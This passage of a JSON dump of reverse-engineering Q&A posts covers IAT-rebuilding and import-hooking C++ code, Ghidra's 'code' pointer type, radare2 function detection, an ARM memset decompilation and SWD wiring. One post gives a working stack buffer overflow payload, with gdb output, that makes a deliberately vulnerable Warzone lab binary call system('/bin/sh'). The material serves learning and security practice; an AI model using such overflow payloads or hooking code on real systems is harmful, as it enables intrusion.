dwModSize)\n                {\n                    //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);\n                    //printf(\"Module: %s\\n\", iat_module_info.DllName);\n                    Found = true;\n                    break;\n                }\n            }\n            if (Found) {\n                printf(\"Found Check = %X\\n\", deObfuscatedAddress);\n                GetAPIInfo(ptrIndex, &amp;iat_module_info_temp, deObfuscatedAddress);\n                ptrIndex += sizeof(DWORD);\n                continue;\n            } else if (!passDone) {\n                passDone = true;\n                if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative\n                    deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;\n                else if (*(BYTE*)deObfuscatedAddress == 0x68 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //PUSH\n                    printf(\"PUSH = %X %X +5[%X]\\n\", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));\n                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);\n                } else if (*(BYTE*)deObfuscatedAddress == 0xA1 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //A1 MOV EAX, [XXXXXX]\n                    printf(\"A1 = %X %X +5[%X]\\n\", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));\n                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);\n                } else if (*(BYTE*)deObfuscatedAddress == 0xFF &amp;&amp; *(BYTE*)(deObfuscatedAddress + 1) == 0x35 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 6) == 0x58) { //push [XXXXXX]\n                    printf(\"PUSH2 = %X %X\\n\", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 2));\n                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 2);\n                } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)\n                    printf(\"invalid 0xC8 = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                    deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));\n                    printf(\"invalid 0xC8 = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                    passDone = false;\n                }\n                goto retryPass;\n            } else {\n                printf(\"not found import :(\\n\");\n                ptrIndex += sizeof(DWORD);\n                continue;\n            }\n        }\n\n        //now *ptrIndex in dwModBase\n        //now retrieve API info (Hint, name) from the module's export\n        //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);\n        GetAPIInfo(ptrIndex, &amp;iat_module_info);\n        ptrIndex += sizeof(DWORD);\n    }\n}\n\n/************************************************************************/\n/*\nFunction : Get AddressOfEntryPoint  (or Original Entry Point)\nParams   : lpAddr is the Base where the exe mapped into\nReturn   : OEP (RVA)             */\n/************************************************************************/\nDWORD GetOEP(LPVOID lpAddr)\n{\n    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;\n    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&gt;e_lfanew);\n    return pNTHDR-&gt;OptionalHeader.AddressOfEntryPoint;\n}\n\n/************************************************************************/\n/*\nFunction : Retrieve a process's Import Info only by IAT\nParam    : lpAddr is the address the exe mapped into (within our space)\nptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)\nReturn   : the beginning of the page where IAT in\nSearch for FF25 XXXX,  or FF15 yyyy\nHelloWorld.exe\n004001E0 &gt; .  EA07D577      DD USER32.MessageBoxA\n004001E4      00000000      DD 00000000\n004001E8 &gt;/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL\n004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL\n004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL\n004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL\n004001F0  |.  E8 01000000   CALL &lt;JMP.&amp;USER32.MessageBoxA&gt;           ; \\MessageBoxA\n004001F5  \\.  C3            RETN\n004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ;  USER32.MessageBoxA\nNotepad.exe\n0100740B   .  FF15 38130001      CALL DWORD PTR DS:[&lt;&amp;msvcrt.__set_app_ty&gt;;  msvcrt.__set_app_type\nMSPaint.exe\n1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[&lt;&amp;KERNEL32.LCMapSt&gt;; kernel32.LCMapStringW\n*/\n/************************************************************************/\n\n/*\nNeed to check all of these\n\u2013 8B0D MOV ECX,[ADDRESS]\n\u2013 8B15 MOV EDX,[ADDRESS]\n\u2013 8B1D MOV EBX,[ADDRESS]\n\u2013 8B25 MOV ESP,[ADDRESS]\n\u2013 8B2D MOV EBP,[ADDRESS]\n\u2013 8B35 MOV ESI,[ADDRESS]\n\u2013 8B3D MOV EDI,[ADDRESS]\n\u2013 A1 MOV EAX,[ADDRESS]\n- FF15 CALL [ADDRESS]\n\u2013 FF25 JMP [ADDRESS]\n\u2013 FF35 PUSH [ADDRESS]\n*/\n\nDWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)\n{\n    DWORD pImageSectionStart = 0;\n    DWORD instruction_length;\n    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]\n    DWORD ptrFuncAddrHighest = NULL;\n    DWORD dwOEP = NULL;\n    BYTE *pCode = NULL;\n    DWORD i = NULL;\n    WORD  wJMP = 0x25FF;\n    WORD  wCALL = 0x15FF;\n\n    dwOEP = GetOEP(lpAddr);\n    i = dwOEP;\n    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);\n\n    // get the location of the module's IMAGE_NT_HEADERS structure\n    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);\n    // section table immediately follows the IMAGE_NT_HEADERS\n    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);\n\n    bool got = false;\n    for (int scn = 0; scn &lt; pNtHdr-&gt;FileHeader.NumberOfSections; ++scn)\n    {\n        char *name = (char*)pSectionHdr-&gt;Name;\n        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress;\n        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress + pSectionHdr-&gt;Misc.VirtualSize - 1;\n\n        if (got) {\n            pImageSectionStart = SectionStart;\n            break;\n        }\n\n        if (SectionStart == pImageBase + dwOEP &amp;&amp; SectionEnd &lt; dwImageSize) {\n            got = true;\n            //next one is imports.\n            ++pSectionHdr;\n            continue;\n        }\n        ++pSectionHdr;\n    }\n\n    if (!pImageSectionStart)\n        pImageSectionStart = dwImageSize;\n\n    printf(\"Found OEP at %X, ImageSize = %X,%X\\n\", dwOEP, dwImageSize, pImageSectionStart);\n\n    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine \n    //but we just do it simply\n    while (i &lt; pImageSectionStart)\n    {\n        if (memcmp(pCode, &amp;wJMP, sizeof(WORD))\n            &amp;&amp; memcmp(pCode, &amp;wCALL, sizeof(WORD)))\n        {\n            //\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n\n        //check illegal, *ptrFuncAddr &gt; pImageBase  &amp;&amp; *ptrFuncAddr &lt;= pImageBase + dwImageSize\n        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));\n        if (*ptrFuncAddr &lt; (DWORD)pImageBase || *ptrFuncAddr &gt;= (DWORD)pImageBase + dwImageSize)\n        {\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n\n        //need to fix relocation\n        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;\n        //now found one item that may belongs to IAT\n        ptrFuncAddr = (DWORD *)*ptrFuncAddr;\n\n        if ((DWORD)ptrFuncAddr &gt; ptrFuncAddrHighest) {\n            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;\n            printf(\"highest = %X\\n\", ptrFuncAddrHighest);\n        }\n\n        //recheck illegal, \n        //for system dlls, what about user dlls? well, whatever, there must be system dlls\n        //what if we found IAT for system dlls, so we found the user dlls.\n        //What if the IAT tables are not continous????????\n        if (*ptrFuncAddr &lt; dwMaxIATImageSize)\n        {\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n        break;\n    }\n\n    //now it seems ptrFuncAddr points some item in IAT, \n    //make ptrFuncAddr point to the beginning of the page\n    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary\n    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;\n    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp; 0xFFFFF000)\n        + ((DWORD)lpAddr &amp; 0x0FFF)\n        );\n    return (DWORD)ptrFuncAddr;\n\n    //return NULL;\n}\n\nunsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)\n{\n    HMODULE mhLoadedDLL = NULL;\n    do\n    {\n        if (!DLL)\n            mhLoadedDLL = GetModuleHandle(NULL);\n        else\n            mhLoadedDLL = GetModuleHandle(DLL);\n        Sleep(100);\n    } while (!mhLoadedDLL);\n\n    MODULEINFO modinfo;\n    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;modinfo, sizeof(MODULEINFO));\n    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;\n\n    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;\n    PIMAGE_NT_HEADERS NtHeader;\n    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;\n    UINT Index = 0;\n\n\n    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&gt;e_lfanew);\n    if (NtHeader-&gt;Signature != IMAGE_NT_SIGNATURE)\n        return 0;\n\n    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);\n\n    if (mhLoadedDLL) {\n        ULONG Sz;\n        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;Sz, nullptr);\n    }\n\n    __try {\n        //\n        // Iterate over import descriptors/DLLs.\n        //\n        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {\n            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);\n\n            if (_strcmpi(dllName, Library) == 0) {\n                // This the DLL we are after.\n                PIMAGE_THUNK_DATA Thunk;\n                PIMAGE_THUNK_DATA OrigThunk;\n\n                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);\n                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);\n\n                //Reset\n                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);\n                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);\n\n                for (; OrigThunk-&gt;u1.Function != NULL; OrigThunk++, Thunk++)\n                {\n                    if (ordinal != -1) {\n                        if ((OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) &amp;&amp; IMAGE_ORDINAL(OrigThunk-&gt;u1.Ordinal) == ordinal) //send ordinal\n                            return (DWORD)Thunk; //Address of import returns.\n                    }\n\n                    if (OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.\n                        continue;\n                    }\n\n                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&gt;u1.AddressOfData);\n\n                    if (_strcmpi(Import, (char*)importt-&gt;Name) == 0) {\n                        return (DWORD)Thunk; //Address of import returns.\n                    }\n                }\n\n                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;\n                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);\n\n                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.\n                if (gs_ModuleList.size() == 0) {\n                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());\n                    if (!bRet)\n                    {\n                        printf(\"Failed to get Modules\\n\");\n                        return 0;\n                    }\n                }\n\n                DWORD dwMaxIATImageSize = 0x70000000;\n                if (gs_ModuleList.size() &gt; 0) {\n                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp; l, const IAT_Module_Info&amp; h) {\n                        return l.ImageBase &lt; h.ImageBase;\n                    });\n\n                    if (max_it-&gt;ImageBase &gt; 0)\n                        dwMaxIATImageSize = (DWORD)max_it-&gt;ImageBase + max_it-&gt;ImageSize;\n\n                    printf(\"Highest Imported DLL = %X %s\\n\", max_it-&gt;ImageBase, max_it-&gt;DllName);\n                }\n                //now we do more, retrieve the Page where IAT in\n                DWORD ptrIATEnd = NULL;\n                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;ptrIATEnd);\n\n                printf(\"Rebuilding IAT,Found IAT in page %X, IAT End %X\\n\", ptrIAT, ptrIATEnd);\n                if(listOfIATImports.size() == 0)\n                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);\n\n                if (listOfIATImports.size() &gt; 0) {\n                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp; s) {\n                        return _strcmpi(s.IATModuleName, Library) == 0 &amp;&amp; _strcmpi(s.IATFunctionName, Import) == 0;\n                    });\n\n                    if (match != listOfIATImports.cend()) {\n                        printf(\"Found IAT = %X, %s %s\\n\", match-&gt;IATAddress, match-&gt;IATModuleName, match-&gt;IATFunctionName);\n                    }\n\n                    std::list&lt;IAT_Import_Information&gt;::iterator i;\n                    for (i = listOfIATImports.begin();\n                        i != listOfIATImports.end();\n                        i++)\n                    {\n                        printf(\"Module: %s Import: %s Address: %X\\n\", i-&gt;IATModuleName, i-&gt;IATFunctionName, i-&gt;IATAddress);\n                    }\n\n                } else {\n                    printf(\"Couldn't find module %s, import %s\\n\", Library, Import);\n                }\n\n            }\n        }\n    }\n    __except (1) {\n        printf(\"Exception hit parsing imports\\n\");\n    }\n    return 0;\n}\n</code></pre>\n\n<p>Another include which is needed is <code>x86_instruction_length.h</code> can \n<a href=\"https://pastebin.com/raw/YMSxjPvL\" rel=\"nofollow noreferrer\">https://pastebin.com/raw/YMSxjPvL</a></p>\n\n<p>Usage:</p>\n\n<pre><code>DWORD GetTickCountx = Get_Import_Address(NULL, \"kernel32.dll\", \"GetTickCount\");\nif(GetTickCountx) {\n    if (!VirtualProtect((LPVOID)GetTickCountx , 4, new_rights, &amp;old_rights))\n        return 0;\n    *(DWORD*)(GetTickCountx) = (DWORD)(NewTickCount);\n    VirtualProtect((LPVOID)GetTickCountx , 4, old_rights, &amp;new_rights);\n}\n</code></pre>\n\n<p><br>\n    <a href=\"https://github.com/fatrolls/IAT-Imports-Finder\" rel=\"nofollow noreferrer\">https://github.com/fatrolls/IAT-Imports-Finder</a></p>\n"
    },
    {
        "Id": "25297",
        "CreationDate": "2020-06-14T22:42:11.173",
        "Body": "<p>I'm reversing a binary and I found this strange keyword I haven't seen before  called 'code'. I looked up the C++ keywords and there doesn't seem to be one. Could anyone provide me with more information about this keyword?</p>\n\n<pre><code>      if (*(int *)(param_1 + 4) != 0) {\n        (*(code *)(&amp;PTR_thunk_FUN_005a7840_008dd8b8)[(int)param_2[4]])(*(int *)(param_1 + 4));\n      }\n</code></pre>\n\n<p>In Assembly.</p>\n\n<pre><code>00491b95 85  c0           TEST       EAX ,EAX\n00491b97 74  10           JZ         LAB_00491ba9\n00491b99 8b  4e  10       MOV        ECX ,dword ptr [ESI  + 0x10 ]\n00491b9c 8b  14  8d       MOV        EDX ,dword ptr [ECX *0x4  + -&gt; thunk_FUN_005a7840 ] = 00401c30\n         b8  d8  8d \n         00\n00491ba3 50              PUSH       EAX\n00491ba4 ff  d2           CALL       EDX\n</code></pre>\n",
        "Title": "What does the code keyword in Ghidra mean?",
        "Tags": "|ghidra|decompiler|",
        "Answer": "<p>There was a function rabbit-hole that I was following in Ghidra that had the <code>(**(code **))</code> as well.</p>\n<p>I cross-examined that section in x64dbg and stepped-over the execution and monitored the EAX register to see the result of <code>return uVar3;</code> or <code>return *(undefined4 *)(iVar2 + 0x2c);</code></p>\n<p>The result of this (**(code **)) function was a function pointer (0x040E2B98) which contained a function pointer (0x03DE2D10) which contained a function pointer (0x03B2802B) which FINALLY was an actual function that began with <code>push esi</code>.</p>\n<p>Thus, the answer to this question is...</p>\n<p><em><strong><code>(code *)</code> is the same as <code>(void *)</code><br />\naka - function pointer<br />\naka - the address location of the beginning of a function<br />\naka - read this <a href=\"https://docs.microsoft.com/en-us/cpp/cpp/void-cpp?view=msvc-170\" rel=\"nofollow noreferrer\">MSDN VOID PTR DOCUMENTATION</a></strong></em></p>\n<pre><code>...\n  if ((iVar2 != 0) &amp;&amp; (*(int *)(iVar2 + 0x40) != 0)) {\n    uVar3 = (**(code **)(*(int *)(*(int *)(iVar2 + 0x40) + 0x28) + 0xc70))();\n    return uVar3;\n  }\n  iVar2 = FUN_03b03811();\n  if (iVar2 == 0) {\n    return 0;\n  }\n  return *(undefined4 *)(iVar2 + 0x2c);\n</code></pre>\n"
    },
    {
        "Id": "25298",
        "CreationDate": "2020-06-15T00:28:48.737",
        "Body": "<p>I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple:</p>\n\n\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n/*\n * compiled with:\n * gcc -O0 -fno-stack-protector lab2B.c -o lab2B\n */\n\nchar* exec_string = \"/bin/sh\";\n\nvoid shell(char* cmd)\n{\n    system(cmd);\n}\n\nvoid print_name(char* input)\n{\n    char buf[15];\n    strcpy(buf, input);\n    printf(\"Hello %s\\n\", buf);\n}\n\nint main(int argc, char** argv)\n{\n    if(argc != 2)\n    {\n        printf(\"usage:\\n%s string\\n\", argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    print_name(argv[1]);\n\n    return EXIT_SUCCESS;\n}\n</code></pre>\n\n<p>I was able to get it working in GDB (I think):</p>\n\n<pre><code>lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c \"print 'A' * 27 + '\\xbd\\x86\\x04\\x08' + 'BBBB' + '\\x28\\xa0\\x04\\x08'\")\nReading symbols from lab2B...(no debugging symbols found)...done.\ngdb-peda$ disas shell\nDump of assembler code for function shell:\n   0x080486bd &lt;+0&gt;: push   ebp\n   0x080486be &lt;+1&gt;: mov    ebp,esp\n   0x080486c0 &lt;+3&gt;: sub    esp,0x18\n   0x080486c3 &lt;+6&gt;: mov    eax,DWORD PTR [ebp+0x8]\n   0x080486c6 &lt;+9&gt;: mov    DWORD PTR [esp],eax\n   0x080486c9 &lt;+12&gt;:    call   0x8048590 &lt;system@plt&gt;\n   0x080486ce &lt;+17&gt;:    leave\n   0x080486cf &lt;+18&gt;:    ret\nEnd of assembler dump.\ngdb-peda$ b *0x080486c9\nBreakpoint 1 at 0x80486c9\ngdb-peda$ r\nStarting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffdBBBB\\(\ufffd\nHello AAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffdBBBB(\ufffd\n[----------------------------------registers-----------------------------------]\nEAX: 0x804a028 --&gt; 0x80487d0 (\"/bin/sh\")\nEBX: 0xb7fcd000 --&gt; 0x1a9da8\nECX: 0x0\nEDX: 0xb7fce898 --&gt; 0x0\nESI: 0x0\nEDI: 0x0\nEBP: 0xbffff66c (\"AAAABBBB(\\240\\004\\b\")\nESP: 0xbffff654 --&gt; 0x804a028 --&gt; 0x80487d0 (\"/bin/sh\")\nEIP: 0x80486c9 (&lt;shell+12&gt;: call   0x8048590 &lt;system@plt&gt;)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0x80486c0 &lt;shell+3&gt;: sub    esp,0x18\n   0x80486c3 &lt;shell+6&gt;: mov    eax,DWORD PTR [ebp+0x8]\n   0x80486c6 &lt;shell+9&gt;: mov    DWORD PTR [esp],eax\n=&gt; 0x80486c9 &lt;shell+12&gt;:    call   0x8048590 &lt;system@plt&gt;\n   0x80486ce &lt;shell+17&gt;:    leave\n   0x80486cf &lt;shell+18&gt;:    ret\n   0x80486d0 &lt;print_name&gt;:  push   ebp\n   0x80486d1 &lt;print_name+1&gt;:    mov    ebp,esp\nGuessed arguments:\narg[0]: 0x804a028 --&gt; 0x80487d0 (\"/bin/sh\")\n[------------------------------------stack-------------------------------------]\n0000| 0xbffff654 --&gt; 0x804a028 --&gt; 0x80487d0 (\"/bin/sh\")\n0004| 0xbffff658 ('A' &lt;repeats 24 times&gt;, \"BBBB(\\240\\004\\b\")\n0008| 0xbffff65c ('A' &lt;repeats 20 times&gt;, \"BBBB(\\240\\004\\b\")\n0012| 0xbffff660 ('A' &lt;repeats 16 times&gt;, \"BBBB(\\240\\004\\b\")\n0016| 0xbffff664 ('A' &lt;repeats 12 times&gt;, \"BBBB(\\240\\004\\b\")\n0020| 0xbffff668 (\"AAAAAAAABBBB(\\240\\004\\b\")\n0024| 0xbffff66c (\"AAAABBBB(\\240\\004\\b\")\n0028| 0xbffff670 (\"BBBB(\\240\\004\\b\")\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0x080486c9 in shell ()\ngdb-peda$ c\nContinuing.\n[New process 2068]\nReading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.\nReading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.\nprocess 2068 is executing new program: /bin/dash\nReading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.\nWarning:\nCannot insert breakpoint 1.\nCannot access memory at address 0x80486c9\n</code></pre>\n\n<p>But it seems like the shell won't open outside of GDB:</p>\n\n<pre><code>lab2B@warzone:/levels/lab02$ ./lab2B $(python -c \"print 'A' * 27 + '\\xbd\\x86\\x04\\x08' + 'BBBB' + '\\x28\\xa0\\x04\\x08'\")\nHello AAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffdBBBB(\ufffd\nsh: 1: : not found\nSegmentation fault (core dumped)\n</code></pre>\n\n<p>I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking <code>sh</code> to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks!</p>\n",
        "Title": "How can I get my shellcode to work outside of GDB?",
        "Tags": "|disassembly|gdb|buffer-overflow|shellcode|",
        "Answer": "<p>I don't think your shell code works even in gdb. The problem is in the address of the string in your shellcode. You are not showing in your question how did you get the address of the string that you use (<code>0x804a028</code>) but if you would search for <code>'/bin/sh'</code>, it would probably be at address <code>0x80487d0</code> and that should be in your shellcode. Right now your are passing an address that points to an address of the string. You just need an address of the string. You could verify it by calling <code>shellcode(exec_string)</code> and checking the stack/addressess/pointers just before the call to <code>system</code>.</p>\n\n<p>So corrected executions should be:</p>\n\n<pre><code>./lab2B $(python -c \"print 'A' * 27 + '\\xbd\\x86\\x04\\x08' + 'BBBB' + '\\xd0\\x87\\x04\\x08'\")\n</code></pre>\n"
    },
    {
        "Id": "25302",
        "CreationDate": "2020-06-15T11:09:43.333",
        "Body": "<p>I am using radare2 to analyze libpng_amd64.so.1.6.34, commands are as follows:</p>\n\n<pre><code>r2 = r2pipe.open(binary_file)\nr2.cmd('aaa')\nfuncs = r2.cmdj('aflj')\n</code></pre>\n\n<p>len(funcs) is 461, but the number of functions got by IDA is 526, besides the numbers of strings, imports, exports... are also different. \nI checked the result of radare2 and found some issuses, for example, the function <code>png_write_row</code> is followed by <code>png_write_rows</code>. Radare2 can not identity the second function <code>png_write_rows</code> and consider all code of those two functions to <code>png_write_row</code>. IDA works correctly.</p>\n\n<p>Why they are different? and Why radare2 can not identity functions correctly? how can I use it to get correct results?</p>\n",
        "Title": "Results of radare2 are not correct",
        "Tags": "|ida|disassembly|radare2|",
        "Answer": "<p>It might be due to different algorithms used for analysis or different options set for those. <code>r2</code> (as well as <code>IDA</code> and <code>Ghidra</code>) has multiple options that can influence how the code is analyzed and how the functions (and other elements) are being recognized.</p>\n\n<p>In this case, <code>png_write_rows</code>, as far as I can see, this function is not called anywhere in the lib and also doesn't have standard function prologue so it might be for the reason that <code>r2</code> doesn't recognize it and mark correctly as a function.</p>\n\n<p>How to fix? You can always modify the final analysis and define a function where the flag for <code>png_write_rows</code> is. You can do that in Visual mode by typing 'df' (define function).</p>\n\n<p>Anyway, I would open an <a href=\"https://github.com/radareorg/radare2/issues\" rel=\"nofollow noreferrer\">r2 issue</a> to get some more info if this is a case of correct <code>analysis flags</code> (check <code>e~anal</code>) or why for some other reason <code>r2</code> doesn't recognize correctly some elements in this lib.</p>\n"
    },
    {
        "Id": "25309",
        "CreationDate": "2020-06-16T09:33:53.373",
        "Body": "<p>I'm currently disassembling some firmware, when I stumbled across the following code snippet produced by Ghidra (the names are already my own ones):</p>\n\n\n\n<pre><code>void memset(byte *addr,byte value,int count)\n                            assume LRset = 0x0\n                            assume TMode = 0x1\n  undefined         r0:1           &lt;RETURN&gt;                                \n  byte *            r0:4           addr                                    \n  byte              r1:1           value\n  int               r2:4           count\n  undefined4        r0:4           iPtr                                    \n\n22 b1           cbz        count,LAB_FIN\n02 44           add        count,addr\n                      LAB_LOOP\n00 f8 01 1b     strb.w     value,[iPtr],#0x1\n90 42           cmp        iPtr,count\nfb d1           bne        LAB_LOOP\n                      LAB_FIN  \n70 47           bx         lr\n00              ??         00h\nbf              ??         BFh\n</code></pre>\n\n<p>Ghidra's decompiler produces the following output (after setting some types):</p>\n\n\n\n<pre><code>void memset(byte *addr,byte value,int count)\n{\n  byte *iPtr;\n\n  if (count != 0) {\n    iPtr = addr;\n    do {\n      iPtr = iPtr + 1;\n      *iPtr = value;                // write to iPtr AFTER the pointer was increased\n      iPtr = iPtr;\n    } while (iPtr != addr + count);\n  }\n  return;\n}\n</code></pre>\n\n<p>Now, I have two questions:</p>\n\n<ol>\n<li><p>The decompiled function suggests that this <code>memset</code> function will not set the given address (addr) to the specified value, but will always start with <code>addr+1</code>. This, however, doesn't feel right and as far as I understand the <code>strb.w</code> instruction it uses post-indexing. Therefore - I think - the order of the pointer-increment and the assignment instruction is wrong. Am I right or do I miss something?</p></li>\n<li><p>After the bx instruction there are two further bytes. I don't have the slightest idea what they are. Given that they are not \"00\" I don't think that they are (solely) used for alignment purposes.  (The next function definitively starts directly after these two bytes.) Does anyone have an idea?</p></li>\n</ol>\n",
        "Title": "Is Ghidra's decompilation of ARMv7 strb.w instruction broken?",
        "Tags": "|decompilation|c|arm|ghidra|",
        "Answer": "<p>Indeed, it seems to be incorrect. The syntax <code>[R0],#1</code> is called  <a href=\"http://infocenter.arm.com/help/topic/com.arm.doc.dui0552a/BABJGHFJ.html\" rel=\"nofollow noreferrer\"><em>post-indexed</em></a>: first the store (or load) is performed, and <em>then</em> the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped.</p>\n<p>As for <code>00 BF</code>, it is the opcode for the <code>NOP</code> instruction, probably inserted to align next function on a 4-byte boundary.</p>\n"
    },
    {
        "Id": "25315",
        "CreationDate": "2020-06-16T17:31:47.757",
        "Body": "<p>I'm very much on the software side of things so I'm super inexperienced with debugging hardware. A custom processor I'm working with gives 2 debug pins, and given that it's an ARM system I suspect it to be 2-wire SWD. Looking at some tools I found online, specifically J-Link, it looks like I need to not only connect the two debug pins, but also a ground pin. However, I'm not given a third pin and I don't have a pinout of the processor due to it being a custom build. Is there a way to find a ground on the processor?</p>\n",
        "Title": "I have a two pin debug interface, confused on how to use it",
        "Tags": "|arm|hardware|",
        "Answer": "<p>Usually  all the grounds on the PCB are connected together, so look for something like a metal shield, USB connector housing, or any other element that should be connected to ground (e.g. a capacitor). There may also be big copper areas used for the ground plane.</p>\n"
    },
    {
        "Id": "25322",
        "CreationDate": "2020-06-17T11:23:54.113",
